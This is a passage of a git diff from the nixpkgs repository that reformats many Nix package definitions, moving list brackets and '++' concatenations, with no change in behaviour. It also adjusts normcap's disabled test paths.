-      "tests/integration/test_tray_menu.py"
-      "tests/integration/test_settings_menu.py"
-      "tests/tests_clipboard/test_handlers/test_qtclipboard.py"
-      "tests/tests_gui/test_tray.py"
-      "tests/tests_gui/test_window.py"
-      "tests/tests_screengrab/"
-      # failure unknown, crashes in first test with `.show()`
-      "tests/tests_gui/test_loading_indicator.py"
-      "tests/tests_gui/test_menu_button.py"
-      "tests/tests_gui/test_resources.py"
-      "tests/tests_gui/test_update_check.py"
-    ];
+  disabledTestPaths = [
+    # touches network
+    "tests/tests_gui/test_downloader.py"
+    # fails to import, causes pytest to freeze
+    "tests/tests_gui/test_language_manager.py"
+    # RuntimeError("Internal C++ object (PySide6.QtGui.QHideEvent) already deleted.")
+    # AttributeError("'LoadingIndicator' object has no attribute 'timer'")
+    "tests/tests_gui/test_loading_indicator.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # requires a display
+    "tests/integration/test_normcap.py"
+    "tests/integration/test_tray_menu.py"
+    "tests/integration/test_settings_menu.py"
+    "tests/tests_clipboard/test_handlers/test_qtclipboard.py"
+    "tests/tests_gui/test_tray.py"
+    "tests/tests_gui/test_window.py"
+    "tests/tests_screengrab/"
+    # failure unknown, crashes in first test with `.show()`
+    "tests/tests_gui/test_loading_indicator.py"
+    "tests/tests_gui/test_menu_button.py"
+    "tests/tests_gui/test_resources.py"
+    "tests/tests_gui/test_update_check.py"
+  ];
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/no/nostr-rs-relay/package.nix b/pkgs/by-name/no/nostr-rs-relay/package.nix
index f73007bf9a08..6a29a5ca0f21 100644
--- a/pkgs/by-name/no/nostr-rs-relay/package.nix
+++ b/pkgs/by-name/no/nostr-rs-relay/package.nix
@@ -22,11 +22,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-hrq9EEUot9painlXVGjIh+NMlrH4iRQ28U3PLGnvYsw=";
 
-  buildInputs =
-    [ openssl.dev ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl.dev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeBuildInputs = [
     pkg-config # for openssl
diff --git a/pkgs/by-name/no/notcurses/package.nix b/pkgs/by-name/no/notcurses/package.nix
index b13ed4f005cb..cb656a5f6a3f 100644
--- a/pkgs/by-name/no/notcurses/package.nix
+++ b/pkgs/by-name/no/notcurses/package.nix
@@ -37,15 +37,14 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libdeflate
-      libunistring
-      ncurses
-      zlib
-    ]
-    ++ lib.optional qrcodegenSupport qrcodegen
-    ++ lib.optional multimediaSupport ffmpeg;
+  buildInputs = [
+    libdeflate
+    libunistring
+    ncurses
+    zlib
+  ]
+  ++ lib.optional qrcodegenSupport qrcodegen
+  ++ lib.optional multimediaSupport ffmpeg;
 
   cmakeFlags =
     lib.optional (qrcodegenSupport) "-DUSE_QRCODEGEN=ON"
diff --git a/pkgs/by-name/no/notifymuch/package.nix b/pkgs/by-name/no/notifymuch/package.nix
index dbbe1aacc8f8..2cfbd9cae380 100644
--- a/pkgs/by-name/no/notifymuch/package.nix
+++ b/pkgs/by-name/no/notifymuch/package.nix
@@ -21,15 +21,14 @@ python3.pkgs.buildPythonApplication {
     sha256 = "1lssr7iv43mp5v6nzrfbqlfzx8jcc7m636wlfyhhnd8ydd39n6k4";
   };
 
-  propagatedBuildInputs =
-    [
-      libnotify
-      gtk3
-    ]
-    ++ (with python3.pkgs; [
-      notmuch
-      pygobject3
-    ]);
+  propagatedBuildInputs = [
+    libnotify
+    gtk3
+  ]
+  ++ (with python3.pkgs; [
+    notmuch
+    pygobject3
+  ]);
 
   nativeBuildInputs = [
     gobject-introspection
diff --git a/pkgs/by-name/no/noto-fonts/package.nix b/pkgs/by-name/no/noto-fonts/package.nix
index 7fa4f8495752..1627ad962e12 100644
--- a/pkgs/by-name/no/noto-fonts/package.nix
+++ b/pkgs/by-name/no/noto-fonts/package.nix
@@ -36,43 +36,42 @@ stdenvNoCC.mkDerivation rec {
 
   _variants = map (variant: builtins.replaceStrings [ " " ] [ "" ] variant) variants;
 
-  installPhase =
-    ''
-      # We check availability in order of variable -> otf -> ttf
-      # unhinted -- the hinted versions use autohint
-      # maintaining maximum coverage.
-      #
-      # We have a mix of otf and ttf fonts
-      local out_font=$out/share/fonts/noto
+  installPhase = ''
+    # We check availability in order of variable -> otf -> ttf
+    # unhinted -- the hinted versions use autohint
+    # maintaining maximum coverage.
+    #
+    # We have a mix of otf and ttf fonts
+    local out_font=$out/share/fonts/noto
 
-      install -m444 -Dt $megamerge/share/fonts/truetype/ megamerge/*.ttf
-    ''
-    + (
-      if _variants == [ ] then
-        ''
-          for folder in $(ls -d fonts/*/); do
-            if [[ -d "$folder"unhinted/variable-ttf ]]; then
-              install -m444 -Dt $out_font "$folder"unhinted/variable-ttf/*.ttf
-            elif [[ -d "$folder"unhinted/otf ]]; then
-              install -m444 -Dt $out_font "$folder"unhinted/otf/*.otf
-            else
-              install -m444 -Dt $out_font "$folder"unhinted/ttf/*.ttf
-            fi
-          done
-        ''
-      else
-        ''
-          for variant in $_variants; do
-            if [[ -d fonts/"$variant"/unhinted/variable-ttf ]]; then
-              install -m444 -Dt $out_font fonts/"$variant"/unhinted/variable-ttf/*.ttf
-            elif [[ -d fonts/"$variant"/unhinted/otf ]]; then
-              install -m444 -Dt $out_font fonts/"$variant"/unhinted/otf/*.otf
-            else
-              install -m444 -Dt $out_font fonts/"$variant"/unhinted/ttf/*.ttf
-            fi
-          done
-        ''
-    );
+    install -m444 -Dt $megamerge/share/fonts/truetype/ megamerge/*.ttf
+  ''
+  + (
+    if _variants == [ ] then
+      ''
+        for folder in $(ls -d fonts/*/); do
+          if [[ -d "$folder"unhinted/variable-ttf ]]; then
+            install -m444 -Dt $out_font "$folder"unhinted/variable-ttf/*.ttf
+          elif [[ -d "$folder"unhinted/otf ]]; then
+            install -m444 -Dt $out_font "$folder"unhinted/otf/*.otf
+          else
+            install -m444 -Dt $out_font "$folder"unhinted/ttf/*.ttf
+          fi
+        done
+      ''
+    else
+      ''
+        for variant in $_variants; do
+          if [[ -d fonts/"$variant"/unhinted/variable-ttf ]]; then
+            install -m444 -Dt $out_font fonts/"$variant"/unhinted/variable-ttf/*.ttf
+          elif [[ -d fonts/"$variant"/unhinted/otf ]]; then
+            install -m444 -Dt $out_font fonts/"$variant"/unhinted/otf/*.otf
+          else
+            install -m444 -Dt $out_font fonts/"$variant"/unhinted/ttf/*.ttf
+          fi
+        done
+      ''
+  );
 
   passthru.updateScript = gitUpdater {
     rev-prefix = "noto-monthly-release-";
diff --git a/pkgs/by-name/no/novops/package.nix b/pkgs/by-name/no/novops/package.nix
index 8898152794e1..04088a348b38 100644
--- a/pkgs/by-name/no/novops/package.nix
+++ b/pkgs/by-name/no/novops/package.nix
@@ -23,13 +23,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-w5jBCVoLm0zzLMa7COHsQbHq+TlJZCnabNZyO8nlTKk=";
 
-  buildInputs =
-    [
-      openssl # required for openssl-sys
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl # required for openssl-sys
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/np/np2kai/package.nix b/pkgs/by-name/np/np2kai/package.nix
index 8ed66b71bdfe..ad771287fc13 100644
--- a/pkgs/by-name/np/np2kai/package.nix
+++ b/pkgs/by-name/np/np2kai/package.nix
@@ -61,29 +61,27 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals enableX11 [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals enableX11 [
+    pkg-config
+  ];
 
-  buildInputs =
-    [
-      libusb1
-      openssl
-      SDL2
-      SDL2_ttf
-      SDL2_mixer
-    ]
-    ++ lib.optionals enableX11 [
-      fontconfig
-      freetype
-      glib
-      gtk2
-      libX11
-    ];
+  buildInputs = [
+    libusb1
+    openssl
+    SDL2
+    SDL2_ttf
+    SDL2_mixer
+  ]
+  ++ lib.optionals enableX11 [
+    fontconfig
+    freetype
+    glib
+    gtk2
+    libX11
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_SDL" true)
diff --git a/pkgs/by-name/ns/nsis/package.nix b/pkgs/by-name/ns/nsis/package.nix
index c16c9cea6bad..c6eb6649081f 100644
--- a/pkgs/by-name/ns/nsis/package.nix
+++ b/pkgs/by-name/ns/nsis/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation rec {
     "SKIPUTILS=all"
     "SKIPMISC=all"
     "NSIS_CONFIG_CONST_DATA=no"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "APPEND_LINKFLAGS=-liconv";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "APPEND_LINKFLAGS=-liconv";
 
   preBuild = ''
     sconsFlagsArray+=(
diff --git a/pkgs/by-name/ns/nspr/package.nix b/pkgs/by-name/ns/nspr/package.nix
index 236cdff3d954..2a313799da78 100644
--- a/pkgs/by-name/ns/nspr/package.nix
+++ b/pkgs/by-name/ns/nspr/package.nix
@@ -25,21 +25,21 @@ stdenv.mkDerivation rec {
   ];
   outputBin = "dev";
 
-  preConfigure =
-    ''
-      cd nspr
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure --replace '@executable_path/' "$out/lib/"
-      substituteInPlace configure.in --replace '@executable_path/' "$out/lib/"
-    '';
+  preConfigure = ''
+    cd nspr
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure --replace '@executable_path/' "$out/lib/"
+    substituteInPlace configure.in --replace '@executable_path/' "$out/lib/"
+  '';
 
   HOST_CC = "cc";
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   configureFlags = [
     "--enable-optimize"
     "--disable-debug"
-  ] ++ lib.optional stdenv.hostPlatform.is64bit "--enable-64bit";
+  ]
+  ++ lib.optional stdenv.hostPlatform.is64bit "--enable-64bit";
 
   postInstall = ''
     find $out -name "*.a" -delete
diff --git a/pkgs/by-name/ns/nsxiv/package.nix b/pkgs/by-name/ns/nsxiv/package.nix
index f19b9e12a9fc..739b1cdb59d4 100644
--- a/pkgs/by-name/ns/nsxiv/package.nix
+++ b/pkgs/by-name/ns/nsxiv/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
     libXft
     libexif
     libwebp
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libinotify-kqueue;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libinotify-kqueue;
 
   postPatch = lib.optionalString (conf != null) ''
     cp ${(builtins.toFile "config.def.h" conf)} config.def.h
diff --git a/pkgs/by-name/nt/ntbtls/package.nix b/pkgs/by-name/nt/ntbtls/package.nix
index 96e00f37d0b6..effcae04a68e 100644
--- a/pkgs/by-name/nt/ntbtls/package.nix
+++ b/pkgs/by-name/nt/ntbtls/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation rec {
     libgpg-error
     libksba
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gettext;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gettext;
 
   postInstall = ''
     moveToOutput "bin/ntbtls-config" $dev
diff --git a/pkgs/by-name/nt/ntfs3g/package.nix b/pkgs/by-name/nt/ntfs3g/package.nix
index 0c02ede8667f..43b91dfc0f82 100644
--- a/pkgs/by-name/nt/ntfs3g/package.nix
+++ b/pkgs/by-name/nt/ntfs3g/package.nix
@@ -32,18 +32,17 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-nuFTsGkm3zmSzpwmhyY7Ke0VZfZU0jHOzEWaLBbglQk=";
   };
 
-  buildInputs =
-    [
-      gettext
-      libuuid
-    ]
-    ++ lib.optionals crypto [
-      gnutls
-      libgcrypt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      macfuse-stubs
-    ];
+  buildInputs = [
+    gettext
+    libuuid
+  ]
+  ++ lib.optionals crypto [
+    gnutls
+    libgcrypt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    macfuse-stubs
+  ];
 
   # Note: libgcrypt is listed here non-optionally because its m4 macros are
   # being used in ntfs-3g's configure.ac.
@@ -59,21 +58,20 @@ stdenv.mkDerivation rec {
     ./consistent-sbindir-usage.patch
   ];
 
-  configureFlags =
-    [
-      "--disable-ldconfig"
-      "--exec-prefix=\${prefix}"
-      "--enable-mount-helper"
-      "--enable-posix-acls"
-      "--enable-xattr-mappings"
-      "--${if crypto then "enable" else "disable"}-crypto"
-      "--enable-extras"
-      "--with-mount-helper=${mount}/bin/mount"
-      "--with-umount-helper=${mount}/bin/umount"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--with-modprobe-helper=${kmod}/bin/modprobe"
-    ];
+  configureFlags = [
+    "--disable-ldconfig"
+    "--exec-prefix=\${prefix}"
+    "--enable-mount-helper"
+    "--enable-posix-acls"
+    "--enable-xattr-mappings"
+    "--${if crypto then "enable" else "disable"}-crypto"
+    "--enable-extras"
+    "--with-mount-helper=${mount}/bin/mount"
+    "--with-umount-helper=${mount}/bin/umount"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--with-modprobe-helper=${kmod}/bin/modprobe"
+  ];
 
   postInstall = ''
     # Prefer ntfs-3g over the ntfs driver in the kernel.
diff --git a/pkgs/by-name/nt/ntl/package.nix b/pkgs/by-name/nt/ntl/package.nix
index 82dc3bb533c5..287134330bd0 100644
--- a/pkgs/by-name/nt/ntl/package.nix
+++ b/pkgs/by-name/nt/ntl/package.nix
@@ -42,25 +42,24 @@ stdenv.mkDerivation rec {
   configurePlatforms = [ ];
 
   # reference: http://shoup.net/ntl/doc/tour-unix.html
-  configureFlags =
-    [
-      "DEF_PREFIX=$(out)"
-      "SHARED=on" # genereate a shared library (as well as static)
-      "NATIVE=off" # don't target code to current hardware (reproducibility, portability)
-      "TUNE=${
-        if tune then
-          "auto"
-        else if stdenv.hostPlatform.isx86 then
-          "x86" # "chooses options that should be well suited for most x86 platforms"
-        else
-          "generic" # "chooses options that should be OK for most platforms"
-      }"
-      "CXX=${stdenv.cc.targetPrefix}c++"
-    ]
-    ++ lib.optionals withGf2x [
-      "NTL_GF2X_LIB=on"
-      "GF2X_PREFIX=${gf2x}"
-    ];
+  configureFlags = [
+    "DEF_PREFIX=$(out)"
+    "SHARED=on" # genereate a shared library (as well as static)
+    "NATIVE=off" # don't target code to current hardware (reproducibility, portability)
+    "TUNE=${
+      if tune then
+        "auto"
+      else if stdenv.hostPlatform.isx86 then
+        "x86" # "chooses options that should be well suited for most x86 platforms"
+      else
+        "generic" # "chooses options that should be OK for most platforms"
+    }"
+    "CXX=${stdenv.cc.targetPrefix}c++"
+  ]
+  ++ lib.optionals withGf2x [
+    "NTL_GF2X_LIB=on"
+    "GF2X_PREFIX=${gf2x}"
+  ];
 
   doCheck = true; # takes some time
 
diff --git a/pkgs/by-name/nt/ntp/package.nix b/pkgs/by-name/nt/ntp/package.nix
index 2d97a87c33b7..3f1fb3134c68 100644
--- a/pkgs/by-name/nt/ntp/package.nix
+++ b/pkgs/by-name/nt/ntp/package.nix
@@ -31,19 +31,19 @@ stdenv.mkDerivation rec {
     "--with-openssl-incdir=${openssl.dev}/include"
     "--enable-ignore-dns-errors"
     "--with-yielding-select=yes"
-  ] ++ lib.optional stdenv.hostPlatform.isLinux "--enable-linuxcaps";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "--enable-linuxcaps";
 
   nativeBuildInputs = [ autoreconfHook ];
 
-  buildInputs =
-    [
-      openssl
-      perl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pps-tools
-      libcap
-    ];
+  buildInputs = [
+    openssl
+    perl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pps-tools
+    libcap
+  ];
 
   hardeningEnable = [ "pie" ];
 
diff --git a/pkgs/by-name/nu/nulloy/package.nix b/pkgs/by-name/nu/nulloy/package.nix
index 9355fcc1d24d..d534ef78020a 100644
--- a/pkgs/by-name/nu/nulloy/package.nix
+++ b/pkgs/by-name/nu/nulloy/package.nix
@@ -31,19 +31,18 @@ stdenv.mkDerivation rec {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qt5.qtscript
-      qt5.qtsvg
-      taglib
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    qt5.qtscript
+    qt5.qtsvg
+    taglib
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   prefixKey = "--prefix ";
 
diff --git a/pkgs/by-name/nv/nvc/package.nix b/pkgs/by-name/nv/nvc/package.nix
index 4b42bcf6d857..f5562dc38461 100644
--- a/pkgs/by-name/nv/nvc/package.nix
+++ b/pkgs/by-name/nv/nvc/package.nix
@@ -33,16 +33,15 @@ stdenv.mkDerivation rec {
     which
   ];
 
-  buildInputs =
-    [
-      libffi
-      llvm
-      zlib
-      zstd
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ];
+  buildInputs = [
+    libffi
+    llvm
+    zlib
+    zstd
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ];
 
   preConfigure = ''
     mkdir build
diff --git a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
index 61be798f5a06..2744d45e4490 100644
--- a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
+++ b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
@@ -103,24 +103,23 @@ buildGoModule rec {
       "${builtins.concatStringsSep "|" skippedTests}"
     ];
 
-  postInstall =
-    ''
-      mkdir -p $tools/bin
-      mv $out/bin/{nvidia-cdi-hook,nvidia-container-runtime,nvidia-container-runtime.cdi,nvidia-container-runtime-hook,nvidia-container-runtime.legacy} $tools/bin
+  postInstall = ''
+    mkdir -p $tools/bin
+    mv $out/bin/{nvidia-cdi-hook,nvidia-container-runtime,nvidia-container-runtime.cdi,nvidia-container-runtime-hook,nvidia-container-runtime.legacy} $tools/bin
 
-      for bin in nvidia-container-runtime-hook nvidia-container-runtime; do
-        wrapProgram $tools/bin/$bin \
-          --prefix PATH : ${libnvidia-container}/bin:$out/bin
-      done
-    ''
-    + lib.optionalString (configTemplate != null || configTemplatePath != null) ''
-      mkdir -p $out/etc/nvidia-container-runtime
+    for bin in nvidia-container-runtime-hook nvidia-container-runtime; do
+      wrapProgram $tools/bin/$bin \
+        --prefix PATH : ${libnvidia-container}/bin:$out/bin
+    done
+  ''
+  + lib.optionalString (configTemplate != null || configTemplatePath != null) ''
+    mkdir -p $out/etc/nvidia-container-runtime
 
-      cp ${configToml} $out/etc/nvidia-container-runtime/config.toml
+    cp ${configToml} $out/etc/nvidia-container-runtime/config.toml
 
-      substituteInPlace $out/etc/nvidia-container-runtime/config.toml \
-        --subst-var-by glibcbin ${lib.getBin glibc}
-    '';
+    substituteInPlace $out/etc/nvidia-container-runtime/config.toml \
+      --subst-var-by glibcbin ${lib.getBin glibc}
+  '';
 
   meta = with lib; {
     homepage = "https://gitlab.com/nvidia/container-toolkit/container-toolkit";
diff --git a/pkgs/by-name/nv/nvidia-texture-tools/package.nix b/pkgs/by-name/nv/nvidia-texture-tools/package.nix
index 72cd0054518c..5dcdb20088cf 100644
--- a/pkgs/by-name/nv/nvidia-texture-tools/package.nix
+++ b/pkgs/by-name/nv/nvidia-texture-tools/package.nix
@@ -16,17 +16,16 @@ stdenv.mkDerivation {
     hash = "sha256-BYNm8CxPQbfmnnzNmOQ2Dc8HSyO8mkqzYsBZ5T80398=";
   };
 
-  postPatch =
-    ''
-      # Make a recently added pure virtual function just virtual,
-      # to keep compatibility.
-      sed -i 's/virtual void endImage() = 0;/virtual void endImage() {}/' src/nvtt/nvtt.h
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch64 ''
-      # remove x86_64-only libraries
-      sed -i '/bc1enc/d' src/nvtt/tests/CMakeLists.txt
-      sed -i '/libsquish/d;/CMP_Core/d' extern/CMakeLists.txt
-    '';
+  postPatch = ''
+    # Make a recently added pure virtual function just virtual,
+    # to keep compatibility.
+    sed -i 's/virtual void endImage() = 0;/virtual void endImage() {}/' src/nvtt/nvtt.h
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch64 ''
+    # remove x86_64-only libraries
+    sed -i '/bc1enc/d' src/nvtt/tests/CMakeLists.txt
+    sed -i '/libsquish/d;/CMP_Core/d' extern/CMakeLists.txt
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/nw/nwg-displays/package.nix b/pkgs/by-name/nw/nwg-displays/package.nix
index dae8595613ef..3d697a1d0b85 100644
--- a/pkgs/by-name/nw/nwg-displays/package.nix
+++ b/pkgs/by-name/nw/nwg-displays/package.nix
@@ -33,19 +33,18 @@ python3Packages.buildPythonApplication rec {
     gtk3
   ];
 
-  propagatedBuildInputs =
-    [
-      atk
-      gdk-pixbuf
-      gtk-layer-shell
-      pango
-      python3Packages.gst-python
-      python3Packages.i3ipc
-      python3Packages.pygobject3
-    ]
-    ++ lib.optionals hyprlandSupport [
-      wlr-randr
-    ];
+  propagatedBuildInputs = [
+    atk
+    gdk-pixbuf
+    gtk-layer-shell
+    pango
+    python3Packages.gst-python
+    python3Packages.i3ipc
+    python3Packages.pygobject3
+  ]
+  ++ lib.optionals hyprlandSupport [
+    wlr-randr
+  ];
 
   dontWrapGApps = true;
 
diff --git a/pkgs/by-name/nx/nxengine-evo/package.nix b/pkgs/by-name/nx/nxengine-evo/package.nix
index ab0129f0f6b1..7ef2b10a3522 100644
--- a/pkgs/by-name/nx/nxengine-evo/package.nix
+++ b/pkgs/by-name/nx/nxengine-evo/package.nix
@@ -61,21 +61,20 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i -e "s,/usr/share/,$out/share/," src/ResourceManager.cpp
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      cd ..
-      mkdir -p $out/bin/ $out/share/nxengine/
-      install bin/* $out/bin/
-    ''
-    + ''
-      cp -r ${finalAttrs.finalPackage.assets}/share/nxengine/data $out/share/nxengine/data
-      chmod -R a=r,a+X $out/share/nxengine/data
-    ''
-    + ''
-      runHook postInstall
-    '';
+    cd ..
+    mkdir -p $out/bin/ $out/share/nxengine/
+    install bin/* $out/bin/
+  ''
+  + ''
+    cp -r ${finalAttrs.finalPackage.assets}/share/nxengine/data $out/share/nxengine/data
+    chmod -R a=r,a+X $out/share/nxengine/data
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   passthru = {
     assets = callPackage ./assets.nix { };
diff --git a/pkgs/by-name/nz/nzportable/fteqw.nix b/pkgs/by-name/nz/nzportable/fteqw.nix
index f62497e7d5cd..d81cabef1c42 100644
--- a/pkgs/by-name/nz/nzportable/fteqw.nix
+++ b/pkgs/by-name/nz/nzportable/fteqw.nix
@@ -59,32 +59,31 @@ stdenv.mkDerivation (finalAttrs: {
     gettext
   ];
 
-  buildInputs =
-    [
-      libGL
-      xorg.libX11
-      xorg.libXrandr
-      xorg.libXcursor
-      xorg.libXScrnSaver
-      dbus
-      fontconfig
-      libjpeg
-      libpng
-      alsa-lib
-      libogg
-      libvorbis
-      libopus
-      SDL2
-      gnutls
-      zlib
-      bullet
-    ]
-    ++ lib.optional enableEGL libglvnd
-    ++ lib.optionals enableWayland [
-      wayland
-      libxkbcommon
-    ]
-    ++ lib.optional enableVulkan vulkan-headers;
+  buildInputs = [
+    libGL
+    xorg.libX11
+    xorg.libXrandr
+    xorg.libXcursor
+    xorg.libXScrnSaver
+    dbus
+    fontconfig
+    libjpeg
+    libpng
+    alsa-lib
+    libogg
+    libvorbis
+    libopus
+    SDL2
+    gnutls
+    zlib
+    bullet
+  ]
+  ++ lib.optional enableEGL libglvnd
+  ++ lib.optionals enableWayland [
+    wayland
+    libxkbcommon
+  ]
+  ++ lib.optional enableVulkan vulkan-headers;
 
   cmakeFlags = [
     (lib.cmakeFeature "FTE_BUILD_CONFIG" "${finalAttrs.src}/engine/common/config_nzportable.h")
@@ -109,31 +108,30 @@ stdenv.mkDerivation (finalAttrs: {
       # Some of them are also just deprecated by better backend options
       # (SDL audio is preferred over ALSA, OpenAL and PulseAudio, for example)
 
-      libs =
-        [
-          addDriverRunpath.driverLink
+      libs = [
+        addDriverRunpath.driverLink
 
-          # gl/gl_vidlinuxglx.c
-          xorg.libX11
-          xorg.libXrandr
-          xorg.libXxf86vm
-          xorg.libXxf86dga
-          xorg.libXi
-          xorg.libXcursor
-          libGL
+        # gl/gl_vidlinuxglx.c
+        xorg.libX11
+        xorg.libXrandr
+        xorg.libXxf86vm
+        xorg.libXxf86dga
+        xorg.libXi
+        xorg.libXcursor
+        libGL
 
-          libvorbis
+        libvorbis
 
-          sqlite # server/sv_sql.c
+        sqlite # server/sv_sql.c
 
-          SDL2 # a lot of different files
-          gnutls # common/net_ssl_gnutls.c
-          openexr # client/image.c
+        SDL2 # a lot of different files
+        gnutls # common/net_ssl_gnutls.c
+        openexr # client/image.c
 
-          (placeholder "out")
-        ]
-        ++ lib.optional enableWayland wayland
-        ++ lib.optional enableVulkan vulkan-loader;
+        (placeholder "out")
+      ]
+      ++ lib.optional enableWayland wayland
+      ++ lib.optional enableVulkan vulkan-loader;
     in
     ''
       wrapProgram $out/bin/fteqw \
diff --git a/pkgs/by-name/oc/ocl-icd/package.nix b/pkgs/by-name/oc/ocl-icd/package.nix
index 3c44fa98db25..a044c2b383a1 100644
--- a/pkgs/by-name/oc/ocl-icd/package.nix
+++ b/pkgs/by-name/oc/ocl-icd/package.nix
@@ -26,14 +26,13 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ opencl-headers ] ++ lib.optionals stdenv.hostPlatform.isWindows [ windows.dlfcn ];
 
-  configureFlags =
-    [
-      "--enable-custom-vendordir=/run/opengl-driver/etc/OpenCL/vendors"
-    ]
-    ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "--enable-custom-vendordir=/run/opengl-driver/etc/OpenCL/vendors"
+  ]
+  ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   # fixes: can't build x86_64-w64-mingw32 shared library unless -no-undefined is specified
   makeFlags = lib.optionals stdenv.hostPlatform.isWindows [ "LDFLAGS=-no-undefined" ];
diff --git a/pkgs/by-name/oc/ocrodjvu/package.nix b/pkgs/by-name/oc/ocrodjvu/package.nix
index e42ceb81f101..fcccaae652c7 100644
--- a/pkgs/by-name/oc/ocrodjvu/package.nix
+++ b/pkgs/by-name/oc/ocrodjvu/package.nix
@@ -34,12 +34,11 @@ python3Packages.buildPythonApplication rec {
     setuptools
   ];
 
-  propagatedBuildInputs =
-    [
-    ]
-    ++ lib.optional withCuneiform cuneiform
-    ++ lib.optional withGocr gocr
-    ++ lib.optional withOcrad ocrad;
+  propagatedBuildInputs = [
+  ]
+  ++ lib.optional withCuneiform cuneiform
+  ++ lib.optional withGocr gocr
+  ++ lib.optional withOcrad ocrad;
 
   dependencies = with python3Packages; [
     lxml
diff --git a/pkgs/by-name/oc/ocsinventory-agent/package.nix b/pkgs/by-name/oc/ocsinventory-agent/package.nix
index 890792cd5c4a..5ebe35ce8c7e 100644
--- a/pkgs/by-name/oc/ocsinventory-agent/package.nix
+++ b/pkgs/by-name/oc/ocsinventory-agent/package.nix
@@ -78,22 +78,21 @@ perlPackages.buildPerlPackage rec {
 
   postInstall =
     let
-      runtimeDependencies =
-        [
-          coreutils # uname, cut, df, stat, uptime
-          findutils # find
-          inetutils # ifconfig
-          ipmitool # ipmitool
-          nmap # nmap
-          pciutils # lspci
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          dmidecode # dmidecode
-          iproute2 # ip
-          lvm2 # pvs
-          usbutils # lsusb
-          util-linux # last, lsblk, mount
-        ];
+      runtimeDependencies = [
+        coreutils # uname, cut, df, stat, uptime
+        findutils # find
+        inetutils # ifconfig
+        ipmitool # ipmitool
+        nmap # nmap
+        pciutils # lspci
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        dmidecode # dmidecode
+        iproute2 # ip
+        lvm2 # pvs
+        usbutils # lsusb
+        util-linux # last, lsblk, mount
+      ];
     in
     lib.optionalString stdenv.hostPlatform.isDarwin ''
       shortenPerlShebang $out/bin/ocsinventory-agent
diff --git a/pkgs/by-name/oc/octoprint/package.nix b/pkgs/by-name/oc/octoprint/package.nix
index d6d4112bdfbe..c58f771016b5 100644
--- a/pkgs/by-name/oc/octoprint/package.nix
+++ b/pkgs/by-name/oc/octoprint/package.nix
@@ -190,7 +190,8 @@ let
